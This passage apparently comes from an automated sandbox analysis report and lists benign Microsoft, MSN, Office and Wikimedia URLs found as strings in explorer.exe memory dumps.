          Source: explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod
          Source: explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13D4or
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13D4or-dark
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2C0
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2C0-dark
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gAVf
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gAVf-dark
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-dark
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-dark
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRoO
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gRoO-dark
          Source: explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13glsK
          Source: explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13glsK-dark
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381542057.0000000008C97000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380782792.0000000008C97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA12I8qo.img
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1aNvHg.img
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1b2aMG.img
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hGNsX.img
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1hHW7F.img
          Source: explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAI3F0b.img
          Source: explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAMVTYz.img
          Source: explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAP2QJd.img
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAQk7ql.img
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img
          Source: explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBCKy3W.img
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBYTL1i.img
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://java.co
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
          Source: explorer.exe, 0000000D.00000003.2380307173.0000000008CA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://outlook.comng
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comer
          Source: explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://th.bi
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 00000003.00000000.1456860332.000000000BDF5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/EM0
          Source: explorer.exe, 00000003.00000002.2320722901.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.com48
          Source: explorer.exe, 0000000D.00000003.2380307173.0000000008CA2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://word.office.comT;=
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/health/other/say-goodbye-to-the-covid-19-vaccination-card/ar-AA1hHYLu
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
          Source: explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
